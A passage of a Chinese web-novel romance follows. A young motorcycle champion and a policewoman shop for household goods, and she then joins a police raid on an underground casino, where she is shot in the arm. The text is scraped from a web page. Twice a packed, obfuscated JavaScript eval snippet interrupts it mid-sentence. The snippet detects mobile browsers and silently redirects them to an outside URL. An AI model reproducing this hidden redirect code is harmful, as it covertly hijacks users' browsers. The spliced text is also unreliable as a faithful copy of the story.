她曾经以为彼此再无办法修复创伤,他们这辈子只能那么痛苦而漫长的捱下去,然而这一切都被李烈打破了,一切潮湿阴暗的过去在这一刻得到了前所未有的救赎。 一个小时后。 手机响了。 岑星禾拿起来,屏幕上的名字是小豆丁,她吸了吸鼻子,接起来。 “喂。” 电话那头先是一阵嘈杂的声音,有人在喊,有引擎声,有欢呼声,接着听筒里所有声音都远了,像是他用手捂住了话筒,走到了一个安静的地方。 “你看了吗?”他的声音带着兴奋。 “看了。”岑星禾的声音在抖。 “那你哭什么?” “我没哭。” “我听得出来。”他低笑,“爱哭鬼。” 岑星禾把手机换到另一边耳朵,用袖子擦了擦眼睛,“恭喜你。” 电话那头安静了一下。 “等我回来,你不是说要请我吃饭吗?” 岑星禾眼泪还挂在脸上。“好。” “岑星禾,我赢了。” “我看见了。” 在嘈杂的背景音里,她听见他说了一句什么,声音低要被风吹散,“我想你了……” 岑星禾攥着手机,把脸埋进抱枕里,双腿扑腾了两下,她无暇顾及他最后一句话的意思,她很开心,开心到他怎么样都可以,无法言表的激动只有苍天可鉴。 屏幕上的转播还在继续,镜头正对着领奖台,第一名那个位置空着,人还没上去,过了一会儿,李烈从画面外走上来,站在了最高的那个台子上。 他没有像其他选手那样挥手或举奖杯,他低头看了一眼自己的腰,镜头推近,他的腰上系着一条深棕色的皮带,扣头是哑光银的。 他把奖杯举起来的那一下,岑星禾的眼泪又涌了上来,手指都在颤抖,简直无法抑制激动地心情。 国旗因他而升,荣耀就在这一刻。 当他站到领奖台的那一刻,无人不为此动容。 上帝知道他在如此艰难的条件下,背后到底付出了多少努力,有多少辛苦坚持的日日夜夜,多少汗水得付出,才让他一个人扛起这么重的责任,从福利院走到世界级的领奖台,如果他的爸爸妈妈看到了,一定也会为他而骄傲。 控制不住的眼泪如同决堤的水,岑星禾用力擦了擦双眼,想把此刻的李烈看得更清晰。 * 李烈比原定时间提前了两天回来。 机车团队的其他成员打算留在当地玩几天,他没有跟,教练问他急什么,他只说了句有事,当天就订了回程的机票。 岑星禾接到他消息的时候,刚做完早餐。 “我下午一点半到机场。”短信只有一句话。 她吃完早饭,收拾好衣服,打车去了机场,路过花店的时候,她犹豫了一下,走进去买了一把白色洋桔梗,让店员简单装饰了一下,用牛皮纸包着,抱在怀里几乎遮住了她大半张脸。 到达口的人不多,她站在栏杆外面,笨拙地抱着花,歪头看着出口的玻璃门开开合合,每开一次她的心跳就快一拍。 大概过了十多分钟,他出来了。 穿着一件黑色的薄外套,里面是白T恤,戴着棒球帽,帽檐压得很低,一只手拖着行李箱,另一只手插在裤兜里,他走出来的姿态散漫,步伐却很快,大长腿几步就跨过了到达口的人群。 岑星禾看着他从玻璃门后面走出来,像一幅画慢慢靠近。 他在人群里一眼就找到了她,帽檐下面的眼睛弯了一下,步子更快了,走到她面前,他停下来,低头看着她,“等很久了?” “没有。” 岑星禾那束花递到他面前。 李烈低头看着那束白色洋桔梗,嘴角弯起浅浅的弧度。 “给你的,恭喜我们的冠军。” 他又露出一个笑,那种她熟悉的带着一点坏的笑,“这是我人生第一次收到鲜花。” “故意逗我是不是?”岑星禾皱了皱眉:“你在领奖台上不是收到了吗?电视里都播了,那么大一束呢。” 李烈低头闻了一下,漫不经心地说:“那不算。” “怎么不算?” “那是别人给的,”他抬起眼看她,“这是你送的。” 岑星禾顿时懂了他这句话的深层含义,霎然间,心底的热度冲到脸颊上蔓延开来,她转过身去,假装帮他看行李,快速走在了前面。 李烈拖着行李箱,一只手抱着那束洋桔梗,跟在她身后。 “你就只打算送一束花?” “嫌弃啊?那还我。” “没嫌。”他把花往怀里收了收,“这花我喜欢。” 两人并肩走出航站楼,外面的阳光很好,晒在皮肤上有点烫,岑星禾眯了眯眼睛,听见他偷偷在耳边说了一句什么。 …… “你说什么?”她回头,发丝飘扬在晚霞的余晖里。 “没什么。”他含笑把眼线移到正前方。 回到修车铺的时候,已经是傍晚了。 李烈把行李箱靠在墙角,把那束洋桔梗插进一个空机油瓶里,倒了点水摆在桌上,机油瓶是透明的,绿色的盖子,白花插在里面,说不出的荒诞。 岑星禾看着那个画面,没忍住笑了一下。 “笑什么?”他问。 “审美水平不错。” 李烈一脸傲娇地扬了扬下巴,他躺到行军床上,打开手机,翻了翻消息,屏幕上的红光映在他脸上,他的表情从懒散慢慢变得有些微妙。 “怎么了?”岑星禾凑过去。 他拿给她看。 热搜榜上,#机车赛冠军李烈#这个词条冲到第一位。 点进去全是比赛的视频和照片,领奖台上的他,摘头盔的他,对着镜头比第一的他,底下的评论达到了好几万,点赞最高的一条是:这颜值可以直接出道了吧? 再往下翻,有人扒出了他的学校、他的班级、甚至他在学校里的照片,一张军训时的合影里,他站在最后一排,穿着迷彩服,表情冷淡,五官却比所有人都出众。 评论里炸了锅—— “什么神仙校草” “机车+校草+冠军,buff叠满了” “一分钟,我要他所有资料!!!” “你们不要觊觎我未来老公!” ...... 还有人发了他在修车铺干活时的偷拍照,穿着黑色背心,满手机油,正低头拆发动机,照片有点糊,手臂的线条和侧脸的轮廓清清楚楚。 底下有人回:“这不比娱乐圈那些小鲜肉强?” 岑星禾一条一条往下翻。 排在热搜第二位的是尚城大学官方的消息,学校破格录取李烈进入机械工程专业,新生免试入学。 消息一出,评论区的画风变了,从帅变成了厉害 “有实力!” “这才是该追的星”。 “牛X啊!” 再往下,味道就不对了,有一条评论字数不多,像一根针扎进她眼睛里:[他爸妈不是死了吗?一家子就剩他自己了。] 底下有人跟帖:[真的假的?] [他爸好像以前在化工厂上班。] [孤儿也能拿冠军,不容易。] [好可怜哦,一个人长大的啊。] 岑星禾的手指僵在屏幕上,李烈把手机拿走了,熄了屏,扔在床上,“别看了。” 她抬起头看着他的脸。 他嘴角还挂着一点懒懒的笑,像是那些话他根本没看见,或者看见了也不在乎,但她知道他在乎。 “李烈……”她不知道该说哪句。 “别管别人了。”他从床上起来,蹲下来开始收拾行李箱,把衣服一件一件拿出来,“我不想知道他们在说什么。” 岑星禾看着他把T恤叠好放进抽屉,裤子和衣服分开,脏衣服放在一起,他做这些事情的时候很认真,像一个普通男生回家后该做的事。 “我们去逛超市吧。”他站起来看着她。 “超市?” “家里没东西了,面也没了,得买点。” 岑星禾环顾了一圈修车铺,上次来的时候就觉得哪里不对,现在才反应过来,那个行军床上铺的被子,深绿色的,棉花已经结成了硬块,边角磨得起了毛,枕头扁得像一张饼。 整个床铺看起来像流浪汉睡的地方,不像一个十九岁男孩的家,她心里忽然堵得慌。 他有五十万,存在卡里要给她,他宁可睡在这张破床上,也不肯给自己买一床新被子,“好,先去超市。” 超市在修车铺往东一公里的地方,走路过去一刻钟,两个人并肩走在人行道上,路灯已经亮了,把两个人的影子拉得很长,一个高大,一个纤细,走着走着,交叠在一起,好像成了一个人。 李烈推了一辆购物车,走在她旁边,岑星禾从包里翻出一张折叠的购物清单,纸已经有点皱了,上面密密麻麻写了一长串。 走到家居区的时候,她停下了脚步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548338|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>货架上摆着一排床上四件套,叠得方方正正,颜色花花绿绿,她看中了一套深灰色的,纯棉,摸起来很软,上面有很浅的格纹,她把那一套拿起来,放进购物车里。 李烈看了一眼:“买这个干什么?” “你那床被子也该换了。”岑星禾继续往前走,又拿了一个乳胶枕,按下去回弹,手感很好。 “我有被子。” “你那叫被子吗?”岑星禾转过头看着他,“棉花都硬了,盖着不难受吗?” 李烈没说话。 她又在货架上拿了一条薄款夏凉被,深蓝色,叠起来很小,她把被子放进购物车的时候,李烈伸手按住了她的手。 “岑星禾,你别对我这么好。”他像在跟她商量,又像在跟自己说,“我还不起。” 岑星禾把手从他手底下抽出来,把被子塞进车里,推着购物车往前走。 “谁要你还了?” 李烈跟上来,走在她旁边。 购物车推过一个拐角,她停下来看了一眼清单,又拿了一双拖鞋,他的拖鞋早就裂了口子,她上次就注意到了。 李烈伸手抽过她列的清单,看了一眼。 “挂面、鸡蛋、生抽、香油、洗衣液、纸巾、创可贴……”他念了几行,往下扫了一眼,忽然顿住了。 “怎么了?”岑星禾凑过去看。 他已经把清单折过去了,面无表情地推着车往前走。 “没什么。” 岑星禾莫名其妙看他一眼,往货架上拿了几包挂面,一提鸡蛋,两瓶生抽,李烈跟在后面,一样一样放进车里。 走到个护区的时候,李烈忽然停住了脚步。 “你在这儿等着。”他把购物车推给她,自己拐进了那排货架。 岑星禾站在原地没动。她不知道他要买什么,也不好跟过去,等了两三分钟,他空着手出来了,表情淡定,“走吧。” 岑星禾没多想,继续往前走。 她在电煮锅区域挑了很久,拿了一个既可以蒸煮,又可以炖汤的电锅,她还在考虑,要不要给他换一套新的碗筷。 接着又去给他挑了一个新的保温杯,灰色的,没有任何图案,简单大方,他应该会喜欢,她心满意足地转过身,准备把东西放进购物车。 一回头,发现购物车里整整齐齐地码着十几包卫生巾,同一个牌子,同一种长度,夜用加长款,紫色的包装摞在一起,像一堵小城墙。 岑星禾张了张嘴,没说出话。 她蹲下来翻了翻,全是夜用,最大尺寸,她把其中一包翻过来看了一眼背面:430mm。 “李烈。”她压低声音。 “嗯?”他从后面走上来,手里还拿了两包同款,往车上一放,拍了拍手,“你清单上写了,我都拿齐了。” 岑星禾深吸一口气。 “我清单上写的是卫生巾,不是夜用加长430乘十五包,她尽量让自己的声音听起来平静,“你去拿一包就行了,日用夜用搭着拿,你拿这么多一样的干什么?” 李烈低头看了一眼那摞紫色小山,又看了一眼她,表情无辜得不像装的,“你写的卫生巾,没写买多少,我怕不够。” “不够?”岑星禾的声音拔高了一点,又立刻压低,环顾了一下四周,还好这个点超市没什么人,“你当我是吸血鬼啊?一个月能流那么多血?” 李烈的嘴角动了一下,“那你不早说。” “你没给我机会说,”岑星禾把购物车推到卫生用品区,踮起脚去看货架,有一排空空荡荡的,像被洗劫过。 她转过头瞪着他,“你把人家货架都搬空了?” “那上面就摆了这么多。”李烈理直气壮。 岑星禾哭笑不得,她把购物车里的卫生巾一包一包往外拿,重新放回货架上,留了两包夜用,又去旁边拿了一包日用的,一包护垫,码好放回车里,“这才对。” 李烈看着那一堆花花绿绿的小包装,皱了皱眉,“这够吗?” “够。” “你确定?” “李烈。”岑星禾抬起头看着他,“你一个男生对女生的东西这么上心干什么?” 李烈低头看了看她,又看了看购物车里那几包卫生巾,面无表情地说:“你就给自己列了一样,不得多买点?” 岑星禾被他噎了一下。 她平复了一下呼吸,低下头继续整理购物车,李烈站在旁边,伸手把那两包夜用的位置摆正了一点,动作自然得像在修车铺里拧螺丝。 “走了。”他推着购物车往前走,“还差洗衣液。” 岑星禾跟在他身后,看着他宽大的背影和购物车里那几包被摆得整整齐齐的紫色小包,嘴角慢慢地弯了起来。 结账的时候,李烈抢在前面扫码,岑星禾没跟他抢,把床上四件套和被子从购物车里拎出来,自己扫码付了。 “说了我付。”他皱着眉。 “这是我要买的,”岑星禾说,“我花自己的钱。” 李烈看着那套深灰色的四件套被她装进购物袋里,没有再争。 回去的路上,李烈提着两大包东西,岑星禾手中的塑料袋里领着几包卫生巾,路灯把路照得很亮,远处的蝉鸣一阵一阵的,空气里有超市生鲜区残留的凉气。 “李烈。”她说,“网上那些话你不要在意。” “我不会在意的。”他低头看着脚下的路,“没时间。” “还要挣钱养你呢。” 岑星禾惊得心底一颤,对于他这种半开玩笑的表白左右为难,她要是认真对待了,他就会立马露出那种吊儿郎当的笑,好像就是单纯地回报她一样,她要是不回应,他就一直变着法子她的心理防线上疯狂试探。 又坏又有着致命吸引力的少年,三年的分别让他长成了她不熟悉的模样,她手足无措的面对着这份感情,几乎分辨不了自己内心的想法。 到了修车铺,她把塑料袋放在桌上,开始拆那套四件套的包装,李烈靠在门框上看着她。 她把深灰色的四件套拿出来,放到外面的旧洗衣机里,按了快洗键十分钟,又把他的旧拖鞋旧水杯旧碗筷都扔了,换上了新的,便签剪了。 她做完这些,退后一步看了看。 还是行军床,还是那间破旧的修车铺,换上了一套干净的东西,整个角落忽然就不一样了,像暗房间里忽然亮了一盏灯。 “行了。”她拍了拍手,“等明天四件套干了,记得把旧的换掉。” 李烈在床边坐下,环顾四周,用手按了按新枕头。 “软吗?”岑星禾问。 他抬起眼看她,昏黄的灯光下,他的眼睛里有一种说不清的东西,是某种更深沉的东西,像那条皮带的扣头一样哑光而结实,“谢谢。” 这是李烈第一次跟她说谢谢。 “不客气。” 她转身去收拾桌上的东西,把酱油和香油放到窗台上,把鸡蛋放进墙角那个已经不怎么好用的冰箱里。 转过身的时候,李烈还坐在床边看她,两个人对视了两秒,他挑眉:“你还不走?” “你赶我走?” “怕你晚了路上不安全。” “我是警察。”她说。 李烈笑了一下,站起来走到她面前,他比她高出一个头,低头看下来的时候,她的整个人都在他的影子里,岑星禾脑子里不合时宜的想起那句话:不安全的是我。 她赶紧避开他的目光,像被热水烫到了一样。 “我送你。” “我自己走就行了。” “我送你。”他语气很温柔很笃定。 岑星禾没有再拒绝。 10. Chapter10·遇情敌 程焕的消息是晚上十点发来的。 [泰显川在本市郊区开了一家地下赌坊,已经秘密运营快两年了,具体情况我发给老周了,你们那边可以安排人进去探底,随时布控抓捕。] 岑星禾盯着屏幕,心跳加速。 老周第二天一早开了部署会,赌坊设在城郊一个废弃的仓库区,外面看着破破烂烂,里面别有洞天,出入都需要熟人介绍,押金两万起步,赌坊老板从不露面,程焕的情报确认,老板的基本情况和泰显川重合度很高。 “需要两个人假扮情侣进去。”老周指着地图,“一男一女,自然一点,不要打草惊蛇,你们的主要任务是确认泰显川本人在场,同时摸清里面的布局和安保人数,我们会在外围布控,等你们信号。” 杨铭举手:“我去。” 老周看了他一眼,又看向岑星禾,岑星禾点了点头。 行动定在周六晚上。 岑星禾换了一身黑色的迪奥连衣裙,这是程焕专门给她买的,领口不高不低,裙摆到膝盖上方两指,还给她配了一套宝格丽的首饰,杨铭穿了一件深蓝色的休闲西装,头发打了发胶,看起来像是那种有点钱富二代带女朋友来找刺激的。 程焕替找了熟人引荐,他们顺利地拿到了入场券。 车停在赌坊外围的一条巷子里,两人下车,杨铭很自然地伸出手臂,岑星禾犹豫了半秒,挽了上去。 “放松。”杨铭低声说,“别紧张。” “好。”岑星禾深吸一口气,调整了一下表情,嘴角微微上扬,眼里带了一点不经意的笑。 入口是一个不起眼的铁皮门,门口站着两个穿黑T恤的壮汉,杨铭报了江晦行的名字,其中一个壮汉拿起对讲机说了两句,继而点了点头,拉开门让他们进去。 里面是一条窄走廊,灯光昏暗,走了二十几米,推开第二道门,噪音和烟雾一下子扑面而来。 大厅很大,挑高至少五六米,原来应该是仓库的货场,十几张赌桌散落分布,中间几张大的围满了人,空气里弥漫着烟味、酒味和一种说不出的燥热。 天花板上挂着水晶吊灯,颜色太黄了,照得所有人脸上都像糊了一层蜡。 有人过来把他们引到一个空桌前,一个穿着花衬衫的胖男人走过来,笑呵呵地递烟。 “行哥介绍来的?”他打量了一下杨铭,又看了一眼岑星禾。 “对,帮我们拼个桌吧。”杨铭接过烟,夹在耳朵上。 “好说好说。”胖男人拍了拍手,一个小弟立刻搬来两把椅子,安排在旁边一张已经有三个人坐着的桌上。 一个是光头,脖子上挂着一根粗金链,一个是瘦高个,戴眼镜,手指细长,转着筹码玩,还有一个是中年人,穿着皱巴巴的夹克,看起来像是输了钱的普通工人。 岑星禾坐下来的时候,余光扫过整个大厅,毛骨悚然地发现了李烈。 他站在最里面那张大赌桌旁边,手里捏着几个筹码,正低头看着桌面,他身上穿着一件黑色T恤,袖子卷到肩膀,露出结实的手臂,周围站着的都是些肥头大耳的中年男人,他杵在那里,野气混合着痞气,格外惹眼,像一把尖锐的刀插进了一堆烂棉花里。 岑星禾的呼吸顿了一下,她脑子里飞快地转,他是如何知道的? 她想用眼神提醒他离开,可当李烈目光扫过整个大厅,从她身上掠过时,一秒钟都没有停留。 岑星禾愣住了,她挽着杨铭的手臂,脸上还挂着假扮情侣的笑,心忽然往下沉了沉。 “看什么呢?”杨铭低声问。 “没什么。”岑星禾努力把注意力放回牌桌上。 牌局开始了。 玩的是□□,规则简单,运气差的时候怎么都赢不了,岑星禾和杨铭一人拿了一万筹码,半个小时输了个精光。 对面那个戴眼镜的瘦高个像是会算牌,每一把都恰到好处地比他们大一点,光头和金链子赢多输少,只有那个穿夹克的中年男人也在不停输钱,额头上的汗越来越多。 杨铭又输了一把,不甚在意地把最后两个筹码扔到桌上。 “今天手气不行啊。”他转头看向岑星禾,伸手揽了一下她的肩膀,“要不你帮我吹口气?” 岑星禾忍着翻白眼的冲动,配合地笑了一下,杨铭的手从肩膀滑到她的手背上,轻轻拍了拍。 岑星禾感觉到他的手指在自己手背上停了两秒,她知道这是演戏,情侣之间很正常,她的余光不自觉地向大厅深处那道身影扫去。 李烈站在那张大赌桌旁边,正在下注,他从头到尾没有看她。 岑星禾注意到李烈把手里的筹码换了个面,正面朝上,背面朝下,过了一会儿,又翻了一下,他的手很大,动作很慢,像是在磨什么东西。 她心里忽然有点慌。 又过了十分钟,杨铭换了两万筹码,又输了大半,岑星禾也开始觉得不对劲了,那个戴眼镜的瘦高个一直在盯着他们的手看,每次杨铭摸一下耳朵或者碰一下她的肩膀,那人就会调整下注。 杨铭显然也注意到了,他凑到岑星禾耳边,嘴唇几乎贴着她的耳廓:“他在读我们的微表情,别紧张,按计划来。” 岑星禾点了点头。 就在这时,大厅门口一阵骚动。 几个人从走廊走进来,为首的是一个五十多岁的男人,穿着深棕色的夹克,头发梳得油光锃亮,脸上带着一副金丝眼镜,他走路不快,每一步都稳稳当当,身后跟着好几个黑衣服的保镖。 这是泰显川。 岑星禾一眼就认出来了,照片她看过无数次,那张脸和十一前比老了很多,胖了一些,眉眼没有变,那个害得李家破人亡的人,就这么大摇大摆地走进来了。 她的手指在桌子底下攥紧了。 泰显川在赌场里走了一圈,目光扫过每一张桌子,看起来很随意,结果他的视线在杨铭和岑星禾身上停了一秒,落在了最里面那张大赌桌上。 李烈正站在那张桌子的中间位置,手里拿着几个筹码,漫不经心地往桌上扔,周围的人都在看他,他面前堆的筹码已经很高了,看样子至少赢了十几万。 泰显川的目光在李烈脸上停了两秒,转身走进了走廊尽头的一间办公室,岑星禾看着泰显川的背影消失,心跳更快了。 杨铭在她耳边低声说:“目标出现,准备发信号。” 岑星禾注意到一个细节,李烈在那个赌桌上,每把都赢,赢得很凶,赢得很高调,周围的人都被他吸引了,越来越多的人围过去看,那张大赌桌本来就靠中间,现在几乎半个赌场的人都凑过去了,欢呼声和惊叹声此起彼伏。 “那小子谁啊?连赢八把了!” “真他妈的牛逼!” “押大出大,押小出小,像是赌神附体了。” …… 岑星禾忽然明白了,他不是来赌博的,他是来闹事的,故意吸引所有人的注意力,让赌场的安保和注意力都集中在他身上,给她和杨铭创造机会。 这个念头一出来,岑星禾心里涌起一股说不清的感觉。 “星禾。”杨铭拍了拍她的手背,提醒她发信号。 她回过神,从包里摸出一个看似口红的东西,其实是微型信号发射器,她拧开盖子,按了一下底部。 没反应。 她又按了一下。 还是没有。 杨铭的眉头皱了一下,他伸手过来,想帮她看看是怎么回事,他的手指碰到她的手,把那支“口红”拿过去,低头检查。 就在这时,李烈那边忽然安静了,连锁反应导致全场都跟着静止了两秒。 岑星禾抬头看去,正好对上李烈的视线。 他站在那张大赌桌的正中间,周围的人都在看他,他没看别人,他看的只有她,看的是她和杨铭相触的手,他的目光停在那里停了一秒,他低下头,拿起桌上所有的筹码,摞在一起,往庄家那边一推。 “全押。” 庄家的脸色变了,旁边围观的人也安静了,所有人都看着那摞筹码,至少二十几万。 李烈靠在赌桌边上,一条腿撑着地,姿势散漫,像站在修车铺那种闲散的态度一样,他盯着庄家翻牌,嘴角似笑非笑,手指随意转着手机,眼神暗藏锋芒,一举一动都透着不受约束的劲儿。 牌翻开,他又赢了。 周围一下子炸了锅,有人拍手,有人骂娘,有人掏出手机拍照,李烈转过身,像是不经意地往岑星禾他们这张桌子看了一眼。 杨铭正好把那支“口红”修好了,递给岑星禾,岑星禾接过来,又按了一下,这次信号发出去了,她不动声色地把“口红”装回包里,抬起头。 李烈已经收回视线了,走到庄家面前,开口,“赢太多了没对手,让你们老板出来陪我玩两把?” 周围安静了一下,接着又是一阵起哄,庄家的脸色更难看了,小声对身边的小弟说了句话,小弟转身跑进了走廊。 围过来的人越来越多,把整个大赌桌围得水泄不通,岑星禾和杨铭那张桌子反而空了,附近的人都跑去看热闹了。 杨铭一直背对着李烈,被这么大的动静一闹,这才发现这小子居然也在,“你安排他来的?” 岑星禾脸色僵硬,拢了下头发,借机摇了摇头。 杨铭看了她一眼,没再问。 过了几分钟,走廊尽头那扇办公室的门开了,泰显川走出来,身后跟着几个保镖,他走到大赌桌前面,看了一眼李烈堆在桌上的筹码,又看了一眼李烈本人。 “小兄弟,好手气。”他笑了笑,脸上带着生意人的和善,“想跟我玩?” 李烈神情慵懒,抬眼时眼神清亮又桀骜。 泰显川盯着他看了两秒,皮笑肉不笑道:“跟我玩,要赌彩。”他坐下来,示意荷官发牌,“门口那辆机车是你的吧?输了要所有钱留下,再还把它给我。” 李烈笑了下,直接比了个手势,示意开始。 就在这时,外面忽然传来一阵急促的脚步声和呼喝声,是警方行动了。 老周带人从外面冲进来,赌场里顿时乱成一锅粥,有人往门口跑,有人往桌下钻,杯子摔碎的声音,椅子撞倒的声音和尖叫声混在一起。 李烈扑上去想抓泰显川,被他身边的两个保镖死死按住,他徒劳无功地挣扎,反而被按得更紧了。 泰显川猛地站起来,脸上的笑不见了,他看了一眼身后的保镖,其中一个人立刻挡在前面,护着他往走廊方向退。 其余几个保镖看情形都慌了,吓得四处逃窜,只有一个还在和李烈纠缠,两人滚在地上撕打在一起,李烈用尽力气,一把推开他:“你他妈放开!” 那个保镖一声不吭,又扑上去从后面死拽着他。 地主家的狗都没他忠心,李烈转身给了他一拳。 岑星禾拎起包就往外冲。 “星禾!”杨铭拉住她,“等支援!” 岑星禾拎起包就追出去了,她跑得快,追到胡同里,看到保镖和泰显川的后背,抡起包狠狠砸了过去,包砸在保镖肩背上,那人趔趄了一下,包掉在地上。 泰显川被地上的包绊了一下,整个人往前扑倒,摔了个狗啃泥,一只皮鞋甩出去老远,他踹了保镖一脚,“废物!” 岑星禾已经冲到他身后了,她飞身扑上去,膝盖顶住他的后背,一只手扳起他的手臂用力往后一拧,“警察!别动!” 泰显川趴在地上,脸贴着地面,疼得龇牙咧嘴,他的另一只手还在往前够,想摸什么,岑星禾看见他手指碰到了腰间的硬物。 是枪。 她下意识往旁边闪了一下。 “砰!”地一声枪响,声音闷闷的,像有人往墙上拍了一巴掌,子弹擦着她的左上臂飞过去,火辣辣地疼,她没松手,把泰显川的手臂又拧紧了几分。 “开枪了!有人开枪了!”有人在喊。 老周带着人从后面冲上来,一把踢开泰显川手里的枪,和岑星禾一起把他按在地上,铐上了手铐。 老周喊了一声,“快叫救护车,有人受伤!” 前后不过两分钟的事,所有人都未来得及反应。 岑星禾被扶起来,低头看了一眼自己的左臂,血顺着胳膊往下淌,黑色连衣裙湿了一大片,她动了一下手指,确认骨头没事,可惜这条新裙子了,裙角划破了一个口子,好几万一条呢,她气了一气。 “不用救护车,只是擦伤。”她喘着气靠到墙上。 “擦伤也得缝!”老周皱着眉,先拿衣服按住伤口。 “岑星禾!”一个声音从身后传来。 她还没反应过来,两只手从侧面一把将她捞住,那双手很大很用力,一只揽住她的腰,另一只按在她流血的胳膊上,体温烫得像火。 李烈的脸从她肩膀上探过来,“你不要命了?” 他的声音在抖,嘴唇贴着耳朵,呼吸滚烫。 岑星禾想说我没事,不用紧张。 少年人将她放在心上,一点伤就像捅破了天,激得浑身戾气难掩,所有人都要为他让道,不管不顾,哪怕在她那么多同事的注视下。 李烈把她打横抱起,一只手死死按着她的伤口,另一只手把她整个人箍住,他的心跳快得吓人。 杨铭气喘吁吁地从后面跑过来,看到李烈抱着岑星禾,愣了一下。 “让开。”李烈从牙缝里挤出两个字。 泰显川已经戴上手铐,被死死按在地上,睁着一双血红的眼看着两人,脸色煞白,李烈没有看泰显川,他一直看着怀里的人。 岑星禾的嘴唇已经开始发白了,血从指缝里渗出来,滴在地上,她抬起头想说什么,看见李烈红了的眼眶,忽然鼻子一酸。 “别说话。”他声音哑了,“我们去医院。” * 急诊楼正对着医院大门。 岑星禾是警车送过来的,李烈的机车跟在后面,一直跟到医院门口,岑星禾被扶进紧急处置室前回头看了一眼,看见他从机车上下来,腿有点瘸,应该是刚才受伤了。 他迈大步子追上来,跟在她身后,一句话没说。 岑星禾担心会不会影响他开车,有没有伤到骨头,护士给她清理伤口,走神之际碘伏碰到皮肤,她嘶了一声,李烈赶到身边,眉头跟着皱了一下,像疼的是他自己。 “没伤到骨头。”医生过来看了一眼,“需要缝针,住院观察一晚上,以防发烧,明天没事就可以出院。” 李烈一下拦住医生,“有没有不会留疤的线?” 医生看了一眼浑身上下称得上狼狈的少年,点点头,“有美容线可以用。” 医生缝针前先打了一针麻药,岑星禾坐在床上,左手伸着,脸偏向一边。 “疼就说。”李烈站在她右手边,声音焦灼。 “不疼的。”她柔声安慰。 “又骗人。” 闻言,医生和岑星禾皆抬眸望了李烈一眼。 岑星禾尴尬道:“打麻药了,真没感觉。” 李烈撇了撇嘴,“麻药过了就疼了。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548339|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手指动了动,想伸手去握她,又不知道握哪里,最后把床头的水杯往她那边推了推。 门口传来一阵急促的脚步声。 杨铭快步走进来,领带歪了,额头上全是汗,他手里拿着一沓单子,看到岑星禾坐在床上缝针,脚步顿了一下,然后走到床边。 “星禾,你怎么样?”他弯腰去看她的伤口,伸手想碰她没受伤的那只手。 李烈伸手挡了一下,手背稳稳地挡在杨铭手指前面,“你让她安静一会儿。” 杨铭抬起头看了他一眼,他的表情很平静,甚至带着一点成年人不太计较的笑。 “我知道。”杨铭收回手,把单子放在床头柜上,“我马上去办住院手续,拿药排了半天队。” “住院办理过了。”李烈从裤兜里掏出一张收据,拍在床头柜上,“门口扫码,不用排队。” 杨铭看了一眼那张收据,又看了一眼李烈,笑了一下,“辛苦了。”客客气气,意思很清楚,你帮我看着我同门师妹,我谢谢你,三个字居然将李烈排除在天际线之外。 姜果然还是老的辣。 李烈却完全没将他放在眼里,从小到大,无论对上哪个男的,论争宠李烈还没输过,他唇边浮起一丝不屑的笑意。 护士缝完最后一针,贴上纱布,交代了几句注意伤口不要碰水的话就走了,病房里安静下来,三个人各占一个角落,像三个钉子钉在同一块木板上。 岑星禾靠在床上,伤口的麻药还没退,不怎么疼,人有点发虚,她看看左边站着的杨铭,又看看右边靠窗台站着的李烈,一种无力感从脚底往上冒,“你们都回去吧,我没事。” “不行。”两个人同时开口。 彼此对视了一眼,杨铭先笑了,拉了把椅子在床边坐下,“今晚我留下,明天我送她回家就行。” “她住城东,你送她绕路绕半个城吧。”李烈靠在窗台上,抱着胳膊,“我送八分钟。” “八分钟?”杨铭看过去,“你那个机车她坐得舒服吗?伤的是手不是腿,坐你那后座颠一路,伤口裂了怎么办?” “不会裂。” “你怎么知道不会?” “她在我后座上从来没受过伤。” 病房里安静了一下。 岑星禾闭上眼深吸一口气。 门被推开了,一个护士端着托盘走进来,里面放着体温计和药,护士看了三人一眼,目光在杨铭和李烈身上来回打量了一下,皱了皱眉,“哪位是家属?” “我是。” 两个声音同时响。 杨铭站起来,李烈也从窗台边站直了。 护士看了看这个,又看了看那个,“到底谁是?” “他不是。” “他也不是。” 两个人各说各的,谁也不让谁。 护士不耐烦了,看了一眼岑星禾:“患者,谁是家属?” 岑星禾张了张嘴,看了看杨铭,又看了看李烈。 李烈站在窗台边,阳光从他背后照进来,把他整个人镀成暖黄色,他的眼睛很黑,定定地看着她,没有说话,下巴微微抬了一下,你知道该说谁。 杨铭站在床边,脸上挂着温和的笑,看不出什么来,那种没关系我都理解的表情底下,有一种很笃定的从容。 “他是我朋友。”岑星禾指了指杨铭。 继而又看向李烈,顿了一下,“他也是朋友。” 护士面无表情地在病历上写了几笔,把体温计递给她,“医院只能一个人陪护,人多了影响其他病人休息。” 杨铭先开口:“我留下。” “你回去。”李烈把她的包从床头柜上拿起来,挂在自己肩上,“我近。” “你近?”杨铭笑了,“你到这里打车要二十分钟,我开车十分钟。” “你刚才排队排了多久?” “那是因为......” “所以你就是慢。” 岑星禾有些头疼。 “杨铭,”她把声音放平,“你先回去吧,今天任务的事,我明天跟老周汇报,你不用等我。” 杨铭看着她,笑容不变,眼底的光落了一点。 “那你好好休息,我明天再来看你。”他把椅子推回原位,走到门口的时候转过身,看向窗台高大的少年,语气随意得像在聊天气,“还好你姐姐伤得不重。” 